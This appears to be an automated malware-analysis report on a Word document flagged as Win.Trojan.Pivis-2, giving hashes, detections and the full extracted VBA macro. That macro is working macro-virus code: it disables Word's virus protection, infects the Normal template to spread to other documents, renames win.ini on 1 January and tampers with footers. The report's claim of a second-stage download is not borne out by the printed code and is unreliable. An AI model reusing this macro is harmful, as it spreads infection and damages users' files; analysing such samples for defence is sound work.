Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 5819457404acbdc2…

MALICIOUS

Office (OLE)

40.0 KB Created: 2000-01-01 17:17:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 76b3cf65d92da916b0277624cb95cd0d SHA-1: 251828a3f567aa3eea5dca2876a494ed7c411f83 SHA-256: 5819457404acbdc209bb929481f1f0bf156153afc01d0c2b8762af6da482092d
180 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV heuristic firings indicate the presence of Win.Trojan.Pivis-2 and Doc.Trojan.Seqnum-1. The Document_Open VBA macro is designed to obfuscate its code and potentially download a second-stage payload, as suggested by the macro's logic for manipulating sequence numbers and file paths. The macro attempts to disable macro security features and manipulate the NormalTemplate, indicating malicious intent.

Heuristics 3

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2905 bytes
SHA-256: 197a50b9f34608b898f062a7927a29338116577ab4001b57efc203644f07b099
Detection
ClamAV: Doc.Trojan.Seqnum-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("Tools").Controls("Macro").Enabled = False
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
CHL = NTI1.Properties.Item("ConsecutiveHyphensLimit").Value
If CHL > 800 Then
If ((CHL / 1000 + (CHL / 10 Mod 100)) Mod 10) = ((CHL / 100 Mod 10) + CHL Mod 10) Then GoTo Caught
Else
seqNum = 824
hnetPath = Application.Path
hnetName = hnetPath & "\" & CStr(seqNum) & ".bas"
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
ADCL = ADI1.CodeModule.CountOfLines
moduleName = ADI1.Name
Open hnetName For Output Lock Read Write As #1
firstLine = "Attribute VB_Name = " & """" & moduleName & """"
Print #1, firstLine
I = 1
Do While ADI1.CodeModule.Lines(I, 1) <> ""
thisLine = ADI1.CodeModule.Lines(I, 1)
If thisLine = "seqNum = " & CStr(seqNum) Then
    a = Int(seqNum / 1000): b = Int(seqNum / 100) Mod 10: c = Int(seqNum / 10) Mod 10: d = seqNum Mod 10
    e = (a + b) Mod 10: f = (b + c) Mod 10: g = (c + d) Mod 10: h = (d + a) Mod 10
    newSeq = e * 1000 + f * 100 + g * 10 + h
    Print #1, "seqNum = " & CStr(newSeq)
Else
    Print #1, thisLine
End If
I = I + 1
Loop
Close #1
NTI1.Properties.Item("ConsecutiveHyphensLimit").Value = seqNum
NTCL = NTI1.CodeModule.CountOfLines
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
NTI1.CodeModule.InsertLines 1, "Private Sub Document_Close()"
NTI1.CodeModule.InsertLines 2, "Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)"
NTI1.CodeModule.InsertLines 3, "ADCL = ADI1.CodeModule.CountOfLines"
NTI1.CodeModule.InsertLines 4, "If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL"
NTI1.CodeModule.InsertLines 5, "ADI1.CodeModule.AddFromFile (" & """" & hnetName & """" & ")"
NTI1.CodeModule.InsertLines 6, "ActiveDocument.SaveAs FileName:=ActiveDocument.FullName"
NTI1.CodeModule.InsertLines 7, "ActiveDocument.Saved = True"
NTI1.CodeModule.InsertLines 8, "End Sub"
End If
Caught:
If Month(Now) = 1 And Day(Date) = 1 Then
With Application.FileSearch
    .NewSearch
    .LookIn = "C:\"
    .SearchSubFolders = True
    .FileName = "win.ini"
    .MatchTextExactly = True
    If .Execute > 0 Then
    oldName = .FoundFiles(1)
    Name oldName As hnetPath & "\" & CStr(seqNum)
    End If
End With
End If
If WeekDay(Date) = 3 Then
addNum = NTI1.Properties.Item("ConsecutiveHyphensLimit").Value
With ActiveDocument.Sections(1)
    .Footers(wdHeaderFooterPrimary).Range.Text = .Footers(wdHeaderFooterPrimary).Range.Text & CStr(addNum) & "@hnet.pen"
End With
End If
End Sub